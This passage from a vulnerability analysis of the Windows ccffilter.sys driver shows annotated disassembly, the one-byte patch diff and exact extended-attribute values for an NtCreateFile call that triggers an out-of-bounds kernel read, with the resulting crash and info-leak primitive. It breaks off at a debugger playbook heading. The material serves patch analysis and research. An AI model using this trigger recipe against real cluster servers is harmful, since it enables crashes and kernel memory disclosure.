&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a14:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;;     -&amp;gt; stored to output version&lt;/span&gt;
&lt;span class="c1"&gt;; ... (WPP, jmp cleanup) ...&lt;/span&gt;

&lt;span class="c1"&gt;; ===== Error path =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009aa0:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc0000053&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_EA_NAME / EA error&lt;/span&gt;

&lt;span class="c1"&gt;; ===== Shared cleanup: zero-GUID check + compact EA list =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a48:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a4b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0003320&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a52:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009a5f&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a54:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a58:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0003328&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a5f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a62:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; arg7&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a6a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a6d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a6f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a71:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a73:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009a86&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a75:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a79:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a7c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009a81&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a7e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a81:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a84:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0009ad5&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a86:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a8a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a8d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a91:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a93:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a96:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009a99:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; compact remaining EAs&lt;/span&gt;

&lt;span class="c1"&gt;; ===== Epilogue =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009ad5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0004088&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;; ... WPP ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b17:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x78&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; arg6&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b1c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b1e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b23:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b28:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b2d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; *arg6 = found flag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b30:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b35:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b39:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b3b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b3d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0009b3f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patch diff — the single-byte change&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gd"&gt;- 0x1c00099f7: 0F 82 A3 00 00 00    jb  0x1c0009aa0   ; only errors when EaValueLength &amp;gt; 0x14&lt;/span&gt;
&lt;span class="gi"&gt;+ 0x1c00099f7: 0F 87 A3 00 00 00    ja  0x1c0009aa0   ; correctly errors when EaValueLength &amp;lt; 0x14&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That is the entire patch. Everything else — function layout, register usage, the OOB &lt;code&gt;movups&lt;/code&gt;/&lt;code&gt;mov dword&lt;/code&gt; reads — is byte-for-byte identical.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the filter.&lt;/strong&gt; The target file must live on a volume managed by &lt;code&gt;ccffilter.sys&lt;/code&gt; (Windows Server Failover Clustering / Cluster Shared Volumes). The driver must be loaded (&lt;code&gt;sc query ccffilter&lt;/code&gt; / &lt;code&gt;lm ccffilter&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue a create with an EA buffer.&lt;/strong&gt; From user mode, call &lt;code&gt;NtCreateFile&lt;/code&gt; (or &lt;code&gt;CreateFileW&lt;/code&gt; with &lt;code&gt;FILE_FLAG_BACKUP_SEMANTICS&lt;/code&gt;) targeting a path on the CSV volume. Provide the &lt;code&gt;EaBuffer&lt;/code&gt; / &lt;code&gt;ExtendedAttributes&lt;/code&gt; argument.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Construct a malicious EA entry.&lt;/strong&gt; A single &lt;code&gt;FILE_FULL_EA_INFORMATION&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NextEntryOffset = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Flags = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EaNameLength = 0x1C&lt;/code&gt; (length of &lt;code&gt;"ClusteredApplicationInstance"&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;EaValueLength&lt;/code&gt;&lt;/strong&gt; ∈ {&lt;code&gt;0x00–0x0F&lt;/code&gt;, &lt;code&gt;0x11–0x13&lt;/code&gt;} — must &lt;strong&gt;not&lt;/strong&gt; equal &lt;code&gt;0x10&lt;/code&gt; and must be &lt;strong&gt;less than&lt;/strong&gt; &lt;code&gt;0x14&lt;/code&gt;. &lt;code&gt;0x01&lt;/code&gt; is the easiest.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EaName = "ClusteredApplicationInstance\0"&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EaValue = &amp;lt;single byte&amp;gt;&lt;/code&gt; (e.g. &lt;code&gt;0x41&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Size the buffer tight.&lt;/strong&gt; Total entry size with the values above = &lt;code&gt;8 + 29 + 1 = 38&lt;/code&gt; bytes. Pass &lt;code&gt;EaLength = 38&lt;/code&gt;. The tightest variant is the &lt;code&gt;strncmp&lt;/code&gt; bypass: set &lt;code&gt;EaNameLength = 0&lt;/code&gt;, &lt;code&gt;EaName = "\0"&lt;/code&gt;, &lt;code&gt;EaValueLength = 1&lt;/code&gt;, total = 10 bytes. The 20-byte read then extends 11+ bytes past the buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No race, no ordering constraint.&lt;/strong&gt; A single threaded &lt;code&gt;NtCreateFile&lt;/code&gt; is sufficient.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirmation.&lt;/strong&gt; Two observable outcomes:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DoS:&lt;/strong&gt; BSOD with &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; / &lt;code&gt;BUGCODE&lt;/code&gt; if the 20-byte read crosses into an unmapped page (highly likely when the EA buffer sits at the end of a pool page).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Info leak:&lt;/strong&gt; Create proceeds and the 16 leaked GUID bytes are copied into a &lt;code&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/code&gt; extra create parameter (allocated by &lt;code&gt;FltAllocateExtraCreateParameter&lt;/code&gt;, attached via &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt;) on the create IRP. The bytes cross a kernel trust boundary into an attacker-influenced create; whether an unprivileged caller can read the ECP contents back is not demonstrated here.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Controlled OOB read&lt;/strong&gt; of up to 20 bytes from kernel pool, with attacker-chosen &lt;em&gt;distance&lt;/em&gt; (via &lt;code&gt;EaNameLength&lt;/code&gt; and &lt;code&gt;EaValueLength&lt;/code&gt;) but not attacker-chosen &lt;em&gt;base&lt;/em&gt; (whatever allocation the EA buffer happens to land adjacent to).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Info exposure:&lt;/strong&gt; the 16-byte OOB portion is copied into a &lt;code&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/code&gt; ECP attached to the create; the 4-byte version portion is written to a separate local output. This moves adjacent pool bytes across a kernel trust boundary, but attacker-side retrieval of the ECP is not demonstrated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reliable BSOD:&lt;/strong&gt; achievable by placing the EA buffer at the end of a page whose neighbor is unmapped so the 20-byte read faults.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EaNameLength = 0 match:&lt;/strong&gt; the &lt;code&gt;strncmp(EaName, "ClusteredApplicationInstance", EaNameLength)&lt;/code&gt; call returns 0 for &lt;code&gt;n = 0&lt;/code&gt;, so the EA only needs the 8-byte header + 1 null + 1 value byte. This is the &lt;em&gt;minimum&lt;/em&gt; entry and maximizes the OOB distance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read-only.&lt;/strong&gt; The bug reads out of bounds only; it is not a write primitive and does not itself yield code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Preconditions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CSV / Failover Clustering being enabled&lt;/strong&gt; is a precondition; on systems without the cluster role installed, &lt;code&gt;ccffilter.sys&lt;/code&gt; is not loaded and the bug is unreachable.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Assume WinDbg/KD attached to a kernel running &lt;strong&gt;&lt;code&gt;ccffilter_unpatched.sys&lt;/code&gt;&lt;/strong&gt;, with symbols resolved (&lt;code&gt;.reload /f ccffilter.sys&lt;/code&gt; then &lt;code&gt;lm ccffilter&lt;/code&gt; to get the runtime base; add the base to each offset below).&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
